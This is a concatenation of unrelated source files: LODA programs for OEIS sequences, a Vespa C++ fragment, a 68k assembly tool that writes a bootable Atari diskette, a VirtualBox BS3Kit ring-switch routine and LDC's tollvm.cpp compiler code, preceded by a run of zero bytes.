00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A032519: Sum of the integer part of 11/3-th roots of integers less than n.
; 0,1,2,3,4,5,6,7,8,9,10,11,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,103,106,109,112,115,118,121,124,127,130,133
lpb $0
add $1,$0
add $2,5
mul $2,2
sub $0,$2
add $2,5
add $3,2
trn $0,$3
lpe
|
// Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#include "index_disk_dir_state.h"
#include <cassert>
namespace searchcorespi::index {
void
IndexDiskDirState::deactivate() noexcept
{
assert(_active_count > 0u);
--_active_count;
}
}
|
; A301709: Partial sums of A301708.
; 1,7,18,34,56,84,117,155,199,249,304,364,430,502,579,661,749,843,942,1046,1156,1272,1393,1519,1651,1789,1932,2080,2234,2394,2559,2729,2905,3087,3274,3466,3664,3868,4077,4291,4511,4737,4968,5204,5446,5694,5947,6205,6469,6739,7014,7294,7580,7872,8169,8471
add $0,1
mov $1,$0
sub $0,1
mul $1,$0
mov $2,$1
add $1,2
mul $1,3
div $2,4
sub $1,$2
sub $1,5
|
a db 'don''t'
b db """"
|
; A032801: Number of unordered sets a, b, c, d of distinct integers from 1..n such that a+b+c+d = 0 (mod n).
; 0,0,0,0,1,3,5,9,14,22,30,42,55,73,91,115,140,172,204,244,285,335,385,445,506,578,650,734,819,917,1015,1127,1240,1368,1496,1640,1785,1947,2109,2289,2470,2670,2870,3090,3311,3553,3795,4059,4324,4612,4900,5212,5525,5863,6201,6565,6930,7322,7714,8134,8555,9005,9455,9935,10416,10928,11440,11984,12529,13107,13685,14297,14910,15558,16206,16890,17575,18297,19019,19779,20540,21340,22140,22980,23821,24703,25585,26509,27434,28402,29370,30382,31395,32453,33511,34615,35720,36872,38024,39224
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
trn $0,3
seq $0,166515 ; Partial sum of A166514.
add $1,$0
lpe
mov $0,$1
|
; A169505: Number of reduced words of length n in Coxeter group on 12 generators S_i with relations (S_i)^2 = (S_i S_j)^34 = I.
; 1,12,132,1452,15972,175692,1932612,21258732,233846052,2572306572,28295372292,311249095212,3423740047332,37661140520652,414272545727172,4556998002998892,50126978032987812,551396758362865932
seq $0,3954 ; Expansion of g.f.: (1+x)/(1-11*x).
|
; ATARI: make bootable Atari diskette
; ex boot_make, list of files, 'flp1_*d2d'
; The bootloader starts with the first file, the trailer is removed and
; subsequent files are concantenated (after calculation of length and checksum)
; before the host module trailer is replaced at the end
section base
xdef boot_base
xref boot_addmod
xref fd_bsect ; boot sector
xref fd_bsend ; ... end
include 'dev8_keys_err'
include 'dev8_keys_qdos_io'
include 'dev8_keys_qdos_ioa'
include 'dev8_keys_qdos_sms'
include 'dev8_keys_dos'
boot_base equ $30000 ; laod highish
dt_flen equ $60 ; total length of file in buffer
dt_sect1 equ $64 ; sectors-1 in buffer
dt_clst1 equ $66 ; clusters-1 in buffer
dt_file equ $68 ; pointer to file in buffer
dt_sect equ $80 ; sector buffer
sct.shft equ 9 ; shift bytes to sectors and vv
sct.len equ $200 ; sector length
dir.shft equ 4 ; shift directory entries to sectors
dir.elen equ $20 ; directory entry length
dt_top equ dt_sect+sct.len
data dt_top+$80 ; not much space
bra.l start
dc.w 0,$4afb,10,'Atari boot'
dc.w $4afb ; Special job
section special
section main
dir_def
dc.b 'X ',$08,0,0,0,0,0,0,0,0,0,0,0,0,0,0,00,00,0,0,0,0
dc.b 'X PRG',$00,0,0,0,0,0,0,0,0,0,0,0,0,0,0,02,00,0,0,0,0
dir_end
start
add.l a4,a6 ; base of data area
moveq #err.ipar,d0
move.w (sp)+,d5 ; number of channels
subq.w #1,d5 ; two?
ble.l suicide ; ... no
lea (sp),a5 ; pointer to file list
jsr boot_addmod ; concatenate
; now we create a bootable disk
move.l d2,dt_flen(a6) ; keep length
move.l d2,d4
subq.l #1,d4 ; -1
moveq #sct.shft,d0
asr.l d0,d4 ; sectors-1
move.w d4,dt_sect1(a6)
move.l d4,d5
moveq #0,d1
move.b fd_bsect+dos_clst,d1
divu d1,d5 ; clusters - 1
move.w d5,dt_clst1(a6)
move.l a1,dt_file(a6) ; file itself
moveq #sms.rrtc,d0 ; get time
trap #do.smsq
lea fd_bsect,a1
lea dos_name(a1),a0
moveq #8,d0
jsr cr_ihex ; put date in as ID
lea dt_sect(a6),a0
move.w #sct.len/2-2,d0 ; calculate wordwise checksum
move.w #dos.atcs,d1
csum_boot
move.w (a1)+,d2 ; while we copy the sector
move.w d2,(a0)+
sub.w d2,d1
dbra d0,csum_boot
move.w d1,(a0) ; set it
move.l (a5),a0 ; output channel ID
moveq #0,d5 ; track zero
moveq #0,d6 ; side zero
moveq #1,d7 ; sector 1
lea dt_sect(a6),a4 ; start of root sector
move.l a4,a1
bsr.l wrt_sect ; write it
move.l a4,a1 ; clear out sector
moveq #sct.len/4-1,d0
clr_sect
clr.l (a1)+
dbra d0,clr_sect
move.b fd_bsect+dos_fats,d4 ; number of FATs
wrt_fat
subq.b #1,d4
blt.s wrt_dir ; no more FATs
swap d4
move.l a4,a1
move.l #dos.fil3,(a1) ; preset first 2 FAT entries
addq.w #3,a1
move.w dt_clst1(a6),d0 ; clusters - 1
moveq #2,d1 ; first cluster
set_fatl
move.w d1,d2
addq.w #1,d2 ; next cluster
tst.w d0 ; last?
bne.s set_fat
move.w #$0fff,d2 ; last cluster
; set d2 into FAT entry d1
set_fat
move.w d2,d3
mulu #3,d1
ror.l #1,d1 ; *1.5
bmi.s set_fato ; was odd
move.b d2,(a4,d1.w) ; was even, lsbyte
and.b #$f0,1(a4,d1.w) ; msbyte, mask out a bit
lsr.w #8,d3
or.b d3,1(a4,d1.w)
bra.s set_fatn
set_fato
lsl.w #4,d3 ; odd, shift it a bit
and.b #$0f,(a4,d1.w) ; lsbyte, mask out a bit
or.b d3,(a4,d1.w) ; lsbyte
lsr.w #8,d3
move.b d3,1(a4,d1.w)
set_fatn
move.w d2,d1 ; next cluster
dbra d0,set_fatl
move.b fd_bsect+dos_mdid,(a4)
move.w fd_bsect+dos_sfat,d4 ; number of FAT sectors
ror.w #8,d4
wrt_fatl
move.l a4,a1 ; write sector of FAT
bsr.l wrt_sect
move.l a4,a1 ; clear out sector
moveq #sct.len/4-1,d0
clr_fat
clr.l (a1)+
dbra d0,clr_fat
subq.w #1,d4 ; another sector?
bgt.s wrt_fatl ; ... yes
swap d4
bra.s wrt_fat ; ... no, try another FAT
wrt_dir
move.b fd_bsect+dos_dire+1,d4 ; directory entries
lsl.w #8,d4
move.b fd_bsect+dos_dire,d4
subq.w #1,d4
asr.w #dir.shft,d4
addq.w #1,d4
lea dir_def,a2 ; preset directory
move.l a4,a1
moveq #(dir_end-dir_def)/4-1,d0
pre_dir
move.l (a2)+,(a1)+
dbra d0,pre_dir
lea dt_flen(a6),a2
move.b (a2)+,-(a1) ; file length is last part of entry
move.b (a2)+,-(a1) ; in reverse order
move.b (a2)+,-(a1)
move.b (a2)+,-(a1)
move.l a4,a1 ; set names
lea 4(a5),a2 ; name from command
move.w (a2)+,d0
cmp.w #8,d0 ; too long?
bls.s set_nend
moveq #7,d0 ; eight chars only
set_nloop
moveq #$ffffffdf,d1
and.b (a2)+,d1 ; upper cased
move.b d1,dir.elen(a1) ; in filename
move.b d1,(a1)+ ; and disk name
set_nend
dbra d0,set_nloop
wrt_dirl
move.l a4,a1 ; write directory
bsr.s wrt_sect
move.l a4,a1 ; clear out sector
moveq #sct.len/4-1,d0
clr_dir
clr.l (a1)+
dbra d0,clr_dir
subq.w #1,d4
bgt.s wrt_dirl
; now write file
move.l dt_file(a6),a1 ; write file
move.w dt_sect1(a6),d4
file_loop
bsr.s wrt_sect ; a sector
dbra d4,file_loop ; at a time
suicide
move.l d0,d3 ; error return
moveq #sms.frjb,d0 ; force remove
moveq #myself,d1 ; ... me
trap #do.sms2
do_io
moveq #forever,d3
trap #do.io
tst.l d0
bne.s suicide
rts
rts
wrt_sect
move.l a1,-(sp) ; save buffer pointer
move.w d5,d1
swap d1 ; track
move.b d6,d1
lsl.w #8,d1 ; side
move.b d7,d1 ; sector
moveq #iof.posa,d0 ; set sector
bsr.s do_io
addq.b #1,d7 ; next sector
cmp.b fd_bsect+dos_strk,d7 ; all done
bls.s wrt_sct1
moveq #1,d7 ; first sector
addq.w #1,d6 ; next head
cmp.b fd_bsect+dos_head,d6
blo.s wrt_sct1
moveq #0,d6
addq.w #1,d5 ; next track
wrt_sct1
move.l (sp)+,a1 ; buffer
move.w #sct.len,d2 ; sector length
moveq #iob.smul,d0
bra.s do_io
cr_ihex
add.l d0,a0 new end
bra.s cih_eloop
cih_loop
moveq #$f,d2 mask out one digit
and.b d1,d2
lsr.l #4,d1 next digit
add.b #'0',d2 make ascii
cmp.b #'9',d2 digit?
ble.s cih_put ... yes
addq.b #'A'-$a-'0',d2 make it a letter
cih_put
move.b d2,-(a0)
cih_eloop
dbra d0,cih_loop
rts
end
|
; $Id: bs3-cmn-SwitchToRingX.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; BS3Kit - Bs3SwitchToRingX
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
BS3_EXTERN_CMN Bs3Syscall
%if TMPL_BITS == 16
BS3_EXTERN_DATA16 g_bBs3CurrentMode
%endif
TMPL_BEGIN_TEXT
;;
; @cproto BS3_DECL(void) Bs3SwitchToRingX(uint8_t bRing);
;
; @param bRing The target ring (0..3).
; @remarks Does not require 20h of parameter scratch space in 64-bit mode.
;
; @uses No GPRs.
;
BS3_PROC_BEGIN_CMN Bs3SwitchToRingX, BS3_PBC_HYBRID_SAFE
BS3_CALL_CONV_PROLOG 1
push xBP
mov xBP, xSP
push xAX
%if TMPL_BITS == 16
; Check the current mode.
mov al, [BS3_DATA16_WRT(g_bBs3CurrentMode)]
; If real mode: Nothing we can do, but we'll bitch if the request isn't for ring-0.
cmp al, BS3_MODE_RM
je .return_real_mode
; If V8086 mode: Always do syscall and add a lock prefix to make sure it gets to the VMM.
test al, BS3_MODE_CODE_V86
jnz .just_do_it
%endif
; In protected mode: Check the CPL we're currently at skip syscall if ring-0 already.
mov ax, cs
and al, 3
cmp al, byte [xBP + xCB + cbCurRetAddr]
je .return
.just_do_it:
mov xAX, BS3_SYSCALL_TO_RING0
add al, [xBP + xCB + cbCurRetAddr]
call Bs3Syscall
%ifndef BS3_STRICT
.return_real_mode:
%endif
.return:
pop xAX
pop xBP
BS3_CALL_CONV_EPILOG 1
BS3_HYBRID_RET
%ifdef BS3_STRICT
; In real mode, only ring-0 makes any sense.
.return_real_mode:
cmp byte [xBP + xCB + cbCurRetAddr], 0
je .return
int3
jmp .return
%endif
BS3_PROC_END_CMN Bs3SwitchToRingX
|
//===-- tollvm.cpp --------------------------------------------------------===//
//
// LDC – the LLVM D compiler
//
// This file is distributed under the BSD-style LDC license. See the LICENSE
// file for details.
//
//===----------------------------------------------------------------------===//
#include "gen/tollvm.h"
#include "dmd/aggregate.h"
#include "dmd/declaration.h"
#include "dmd/dsymbol.h"
#include "dmd/expression.h"
#include "dmd/id.h"
#include "dmd/init.h"
#include "dmd/module.h"
#include "driver/cl_options.h"
#include "gen/abi.h"
#include "gen/arrays.h"
#include "gen/classes.h"
#include "gen/complex.h"
#include "gen/dvalue.h"
#include "gen/functions.h"
#include "gen/irstate.h"
#include "gen/linkage.h"
#include "gen/llvm.h"
#include "gen/llvmhelpers.h"
#include "gen/logger.h"
#include "gen/pragma.h"
#include "gen/runtime.h"
#include "gen/structs.h"
#include "gen/typinf.h"
#include "gen/uda.h"
#include "ir/irtype.h"
#include "ir/irtypeclass.h"
#include "ir/irtypefunction.h"
#include "ir/irtypestruct.h"
bool DtoIsInMemoryOnly(Type *type) {
Type *typ = type->toBasetype();
TY t = typ->ty;
return (t == Tstruct || t == Tsarray);
}
bool DtoIsReturnInArg(CallExp *ce) {
Type *t = ce->e1->type->toBasetype();
if (t->ty == Tfunction && (!ce->f || !DtoIsIntrinsic(ce->f))) {
return gABI->returnInArg(static_cast<TypeFunction *>(t),
ce->f && ce->f->needThis());
}
return false;
}
void DtoAddExtendAttr(Type *type, llvm::AttrBuilder &attrs) {
type = type->toBasetype();
if (type->isintegral() && type->ty != Tvector && type->size() <= 2) {
attrs.addAttribute(type->isunsigned() ? LLAttribute::ZExt
: LLAttribute::SExt);
}
}
LLType *DtoType(Type *t) {
t = stripModifiers(t);
if (t->ctype) {
return t->ctype->getLLType();
}
IF_LOG Logger::println("Building type: %s", t->toChars());
LOG_SCOPE;
assert(t);
switch (t->ty) {
// basic types
case Tvoid:
case Tint8:
case Tuns8:
case Tint16:
case Tuns16:
case Tint32:
case Tuns32:
case Tint64:
case Tuns64:
case Tint128:
case Tuns128:
case Tfloat32:
case Tfloat64:
case Tfloat80:
case Timaginary32:
case Timaginary64:
case Timaginary80:
case Tcomplex32:
case Tcomplex64:
case Tcomplex80:
// case Tbit:
case Tbool:
case Tchar:
case Twchar:
case Tdchar: {
return IrTypeBasic::get(t)->getLLType();
}
// pointers
case Tnull:
case Tpointer: {
return IrTypePointer::get(t)->getLLType();
}
// arrays
case Tarray: {
return IrTypeArray::get(t)->getLLType();
}
case Tsarray: {
return IrTypeSArray::get(t)->getLLType();
}
// aggregates
case Tstruct: {
TypeStruct *ts = static_cast<TypeStruct *>(t);
if (ts->sym->type->ctype) {
// This should not happen, but the frontend seems to be buggy. Not
// sure if this is the best way to handle the situation, but we
// certainly don't want to override ts->sym->type->ctype.
IF_LOG Logger::cout()
<< "Struct with multiple Types detected: " << ts->toChars() << " ("
<< ts->sym->locToChars() << ")" << std::endl;
return ts->sym->type->ctype->getLLType();
}
return IrTypeStruct::get(ts->sym)->getLLType();
}
case Tclass: {
TypeClass *tc = static_cast<TypeClass *>(t);
if (tc->sym->type->ctype) {
// See Tstruct case.
IF_LOG Logger::cout()
<< "Class with multiple Types detected: " << tc->toChars() << " ("
<< tc->sym->locToChars() << ")" << std::endl;
return tc->sym->type->ctype->getLLType();
}
return IrTypeClass::get(tc->sym)->getLLType();
}
// functions
case Tfunction: {
return IrTypeFunction::get(t)->getLLType();
}
// delegates
case Tdelegate: {
return IrTypeDelegate::get(t)->getLLType();
}
// typedefs
// enum
// FIXME: maybe just call toBasetype first ?
case Tenum: {
Type *bt = t->toBasetype();
assert(bt);
if (t == bt) {
// This is an enum forward reference that is only legal when referenced
// through an indirection (e.g. "enum E; void foo(E* p);"). For lack of a
// better choice, make the outer indirection a void pointer.
return getVoidPtrType()->getContainedType(0);
}
return DtoType(bt);
}
// associative arrays
case Taarray:
return getVoidPtrType();
case Tvector: {
return IrTypeVector::get(t)->getLLType();
}
default:
llvm_unreachable("Unknown class of D Type!");
}
return nullptr;
}
LLType *DtoMemType(Type *t) { return i1ToI8(voidToI8(DtoType(t))); }
LLPointerType *DtoPtrToType(Type *t) { return DtoMemType(t)->getPointerTo(); }
LLType *voidToI8(LLType *t) {
return t->isVoidTy() ? LLType::getInt8Ty(t->getContext()) : t;
}
LLType *i1ToI8(LLType *t) {
return t->isIntegerTy(1) ? LLType::getInt8Ty(t->getContext()) : t;
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoDelegateEquals(TOK op, LLValue *lhs, LLValue *rhs) {
Logger::println("Doing delegate equality");
if (rhs == nullptr) {
rhs = LLConstant::getNullValue(lhs->getType());
}
LLValue *l1 = gIR->ir->CreateExtractValue(lhs, 0);
LLValue *l2 = gIR->ir->CreateExtractValue(lhs, 1);
LLValue *r1 = gIR->ir->CreateExtractValue(rhs, 0);
LLValue *r2 = gIR->ir->CreateExtractValue(rhs, 1);
return createIPairCmp(op, l1, l2, r1, r2);
}
////////////////////////////////////////////////////////////////////////////////
LinkageWithCOMDAT DtoLinkage(Dsymbol *sym) {
auto linkage = (DtoIsTemplateInstance(sym) ? templateLinkage
: LLGlobalValue::ExternalLinkage);
// If @(ldc.attributes.weak) is applied, override the linkage to WeakAny
if (hasWeakUDA(sym)) {
linkage = LLGlobalValue::WeakAnyLinkage;
}
return {linkage, supportsCOMDAT()};
}
bool supportsCOMDAT() {
const auto &triple = *global.params.targetTriple;
return !(triple.isOSBinFormatMachO() ||
#if LDC_LLVM_VER >= 500
triple.isOSBinFormatWasm()
#else
triple.getArch() == llvm::Triple::wasm32 ||
triple.getArch() == llvm::Triple::wasm64
#endif
);
}
void setLinkage(LinkageWithCOMDAT lwc, llvm::GlobalObject *obj) {
obj->setLinkage(lwc.first);
if (lwc.second)
obj->setComdat(gIR->module.getOrInsertComdat(obj->getName()));
}
void setLinkageAndVisibility(Dsymbol *sym, llvm::GlobalObject *obj) {
setLinkage(DtoLinkage(sym), obj);
setVisibility(sym, obj);
}
void setVisibility(Dsymbol *sym, llvm::GlobalObject *obj) {
if (opts::defaultToHiddenVisibility && !sym->isExport())
obj->setVisibility(LLGlobalValue::HiddenVisibility);
}
////////////////////////////////////////////////////////////////////////////////
LLIntegerType *DtoSize_t() {
// the type of size_t does not change once set
static LLIntegerType *t = nullptr;
if (t == nullptr) {
auto triple = global.params.targetTriple;
if (triple->isArch64Bit()) {
t = LLType::getInt64Ty(gIR->context());
} else if (triple->isArch32Bit()) {
t = LLType::getInt32Ty(gIR->context());
} else if (triple->isArch16Bit()) {
t = LLType::getInt16Ty(gIR->context());
} else {
llvm_unreachable("Unsupported size_t width");
}
}
return t;
}
////////////////////////////////////////////////////////////////////////////////
namespace {
llvm::GetElementPtrInst *DtoGEP(LLValue *ptr, llvm::ArrayRef<LLValue *> indices,
const char *name, llvm::BasicBlock *bb) {
LLPointerType *p = isaPointer(ptr);
assert(p && "GEP expects a pointer type");
auto gep = llvm::GetElementPtrInst::Create(p->getElementType(), ptr, indices,
name, bb ? bb : gIR->scopebb());
gep->setIsInBounds(true);
return gep;
}
}
LLValue *DtoGEP1(LLValue *ptr, LLValue *i0, const char *name,
llvm::BasicBlock *bb) {
return DtoGEP(ptr, i0, name, bb);
}
LLValue *DtoGEP(LLValue *ptr, LLValue *i0, LLValue *i1, const char *name,
llvm::BasicBlock *bb) {
LLValue *indices[] = {i0, i1};
return DtoGEP(ptr, indices, name, bb);
}
LLValue *DtoGEP1(LLValue *ptr, unsigned i0, const char *name,
llvm::BasicBlock *bb) {
return DtoGEP(ptr, DtoConstUint(i0), name, bb);
}
LLValue *DtoGEP(LLValue *ptr, unsigned i0, unsigned i1, const char *name,
llvm::BasicBlock *bb) {
LLValue *indices[] = {DtoConstUint(i0), DtoConstUint(i1)};
return DtoGEP(ptr, indices, name, bb);
}
LLConstant *DtoGEP(LLConstant *ptr, unsigned i0, unsigned i1) {
LLPointerType *p = isaPointer(ptr);
(void)p;
assert(p && "GEP expects a pointer type");
LLValue *indices[] = {DtoConstUint(i0), DtoConstUint(i1)};
return llvm::ConstantExpr::getGetElementPtr(p->getElementType(), ptr, indices,
/* InBounds = */ true);
}
////////////////////////////////////////////////////////////////////////////////
void DtoMemSet(LLValue *dst, LLValue *val, LLValue *nbytes, unsigned align) {
LLType *VoidPtrTy = getVoidPtrType();
dst = DtoBitCast(dst, VoidPtrTy);
gIR->ir->CreateMemSet(dst, val, nbytes, LLMaybeAlign(align), false /*isVolatile*/);
}
////////////////////////////////////////////////////////////////////////////////
void DtoMemSetZero(LLValue *dst, LLValue *nbytes, unsigned align) {
DtoMemSet(dst, DtoConstUbyte(0), nbytes, align);
}
void DtoMemSetZero(LLValue *dst, unsigned align) {
uint64_t n = getTypeStoreSize(dst->getType()->getContainedType(0));
DtoMemSetZero(dst, DtoConstSize_t(n), align);
}
////////////////////////////////////////////////////////////////////////////////
void DtoMemCpy(LLValue *dst, LLValue *src, LLValue *nbytes, unsigned align) {
LLType *VoidPtrTy = getVoidPtrType();
dst = DtoBitCast(dst, VoidPtrTy);
src = DtoBitCast(src, VoidPtrTy);
#if LDC_LLVM_VER >= 700
auto A = LLMaybeAlign(align);
gIR->ir->CreateMemCpy(dst, A, src, A, nbytes, false /*isVolatile*/);
#else
gIR->ir->CreateMemCpy(dst, src, nbytes, align, false /*isVolatile*/);
#endif
}
void DtoMemCpy(LLValue *dst, LLValue *src, bool withPadding, unsigned align) {
LLType *pointee = dst->getType()->getContainedType(0);
uint64_t n =
withPadding ? getTypeAllocSize(pointee) : getTypeStoreSize(pointee);
DtoMemCpy(dst, src, DtoConstSize_t(n), align);
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoMemCmp(LLValue *lhs, LLValue *rhs, LLValue *nbytes) {
// int memcmp ( const void * ptr1, const void * ptr2, size_t num );
LLType *VoidPtrTy = getVoidPtrType();
LLFunction *fn = gIR->module.getFunction("memcmp");
if (!fn) {
LLType *Tys[] = {VoidPtrTy, VoidPtrTy, DtoSize_t()};
LLFunctionType *fty =
LLFunctionType::get(LLType::getInt32Ty(gIR->context()), Tys, false);
fn = LLFunction::Create(fty, LLGlobalValue::ExternalLinkage, "memcmp",
&gIR->module);
}
lhs = DtoBitCast(lhs, VoidPtrTy);
rhs = DtoBitCast(rhs, VoidPtrTy);
return gIR->ir->CreateCall(fn, {lhs, rhs, nbytes});
}
////////////////////////////////////////////////////////////////////////////////
llvm::ConstantInt *DtoConstSize_t(uint64_t i) {
return LLConstantInt::get(DtoSize_t(), i, false);
}
llvm::ConstantInt *DtoConstUint(unsigned i) {
return LLConstantInt::get(LLType::getInt32Ty(gIR->context()), i, false);
}
llvm::ConstantInt *DtoConstInt(int i) {
return LLConstantInt::get(LLType::getInt32Ty(gIR->context()), i, true);
}
LLConstant *DtoConstBool(bool b) {
return LLConstantInt::get(LLType::getInt1Ty(gIR->context()), b, false);
}
llvm::ConstantInt *DtoConstUbyte(unsigned char i) {
return LLConstantInt::get(LLType::getInt8Ty(gIR->context()), i, false);
}
LLConstant *DtoConstFP(Type *t, const real_t value) {
LLType *llty = DtoType(t);
assert(llty->isFloatingPointTy());
// 1) represent host real_t as llvm::APFloat
const auto &targetSemantics = llty->getFltSemantics();
APFloat v(targetSemantics, APFloat::uninitialized);
CTFloat::toAPFloat(value, v);
// 2) convert to target format
if (&v.getSemantics() != &targetSemantics) {
bool ignored;
v.convert(targetSemantics, APFloat::rmNearestTiesToEven, &ignored);
}
return LLConstantFP::get(gIR->context(), v);
}
////////////////////////////////////////////////////////////////////////////////
LLConstant *DtoConstCString(const char *str) {
llvm::StringRef s(str ? str : "");
const auto it = gIR->stringLiteral1ByteCache.find(s);
llvm::GlobalVariable *gvar =
it == gIR->stringLiteral1ByteCache.end() ? nullptr : it->getValue();
if (gvar == nullptr) {
llvm::Constant *init =
llvm::ConstantDataArray::getString(gIR->context(), s, true);
gvar = new llvm::GlobalVariable(gIR->module, init->getType(), true,
llvm::GlobalValue::PrivateLinkage, init,
".str");
gvar->setUnnamedAddr(llvm::GlobalValue::UnnamedAddr::Global);
gIR->stringLiteral1ByteCache[s] = gvar;
}
LLConstant *idxs[] = {DtoConstUint(0), DtoConstUint(0)};
return llvm::ConstantExpr::getGetElementPtr(gvar->getInitializer()->getType(),
gvar, idxs, true);
}
LLConstant *DtoConstString(const char *str) {
LLConstant *cString = DtoConstCString(str);
LLConstant *length = DtoConstSize_t(str ? strlen(str) : 0);
return DtoConstSlice(length, cString, Type::tchar->arrayOf());
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoLoad(LLValue *src, const char *name) {
return gIR->ir->CreateLoad(src, name);
}
// Like DtoLoad, but the pointer is guaranteed to be aligned appropriately for
// the type.
LLValue *DtoAlignedLoad(LLValue *src, const char *name) {
llvm::LoadInst *ld = gIR->ir->CreateLoad(src, name);
ld->setAlignment(LLMaybeAlign(getABITypeAlign(ld->getType())));
return ld;
}
LLValue *DtoVolatileLoad(LLValue *src, const char *name) {
llvm::LoadInst *ld = gIR->ir->CreateLoad(src, name);
ld->setVolatile(true);
return ld;
}
void DtoStore(LLValue *src, LLValue *dst) {
assert(src->getType() != llvm::Type::getInt1Ty(gIR->context()) &&
"Should store bools as i8 instead of i1.");
gIR->ir->CreateStore(src, dst);
}
void DtoVolatileStore(LLValue *src, LLValue *dst) {
assert(src->getType() != llvm::Type::getInt1Ty(gIR->context()) &&
"Should store bools as i8 instead of i1.");
gIR->ir->CreateStore(src, dst)->setVolatile(true);
}
void DtoStoreZextI8(LLValue *src, LLValue *dst) {
if (src->getType() == llvm::Type::getInt1Ty(gIR->context())) {
llvm::Type *i8 = llvm::Type::getInt8Ty(gIR->context());
assert(dst->getType()->getContainedType(0) == i8);
src = gIR->ir->CreateZExt(src, i8);
}
gIR->ir->CreateStore(src, dst);
}
// Like DtoStore, but the pointer is guaranteed to be aligned appropriately for
// the type.
void DtoAlignedStore(LLValue *src, LLValue *dst) {
assert(src->getType() != llvm::Type::getInt1Ty(gIR->context()) &&
"Should store bools as i8 instead of i1.");
llvm::StoreInst *st = gIR->ir->CreateStore(src, dst);
st->setAlignment(LLMaybeAlign(getABITypeAlign(src->getType())));
}
////////////////////////////////////////////////////////////////////////////////
LLType *stripAddrSpaces(LLType *t)
{
// Fastpath for normal compilation.
if(gIR->dcomputetarget == nullptr)
return t;
int indirections = 0;
while (t->isPointerTy()) {
indirections++;
t = t->getPointerElementType();
}
while (indirections-- != 0)
t = t->getPointerTo(0);
return t;
}
LLValue *DtoBitCast(LLValue *v, LLType *t, const llvm::Twine &name) {
// Strip addrspace qualifications from v before comparing types by pointer
// equality. This avoids the case where the pointer in { T addrspace(n)* }
// is dereferenced and generates a GEP -> (invalid) bitcast -> load sequence.
// Bitcasting of pointers between addrspaces is invalid in LLVM IR. Even if
// it were valid, it wouldn't be the desired outcome as we would always load
// from addrspace(0), instead of the addrspace of the pointer.
if (stripAddrSpaces(v->getType()) == t) {
return v;
}
assert(!isaStruct(t));
return gIR->ir->CreateBitCast(v, t, name);
}
LLConstant *DtoBitCast(LLConstant *v, LLType *t) {
// Refer to the explanation in the other DtoBitCast overloaded function.
if (stripAddrSpaces(v->getType()) == t) {
return v;
}
return llvm::ConstantExpr::getBitCast(v, t);
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoInsertValue(LLValue *aggr, LLValue *v, unsigned idx,
const char *name) {
return gIR->ir->CreateInsertValue(aggr, v, idx, name);
}
LLValue *DtoExtractValue(LLValue *aggr, unsigned idx, const char *name) {
return gIR->ir->CreateExtractValue(aggr, idx, name);
}
////////////////////////////////////////////////////////////////////////////////
LLValue *DtoInsertElement(LLValue *vec, LLValue *v, LLValue *idx,
const char *name) {
return gIR->ir->CreateInsertElement(vec, v, idx, name);
}
LLValue *DtoExtractElement(LLValue *vec, LLValue *idx, const char *name) {
return gIR->ir->CreateExtractElement(vec, idx, name);
}
LLValue *DtoInsertElement(LLValue *vec, LLValue *v, unsigned idx,
const char *name) {
return DtoInsertElement(vec, v, DtoConstUint(idx), name);
}
LLValue *DtoExtractElement(LLValue *vec, unsigned idx, const char *name) {
return DtoExtractElement(vec, DtoConstUint(idx), name);
}
////////////////////////////////////////////////////////////////////////////////
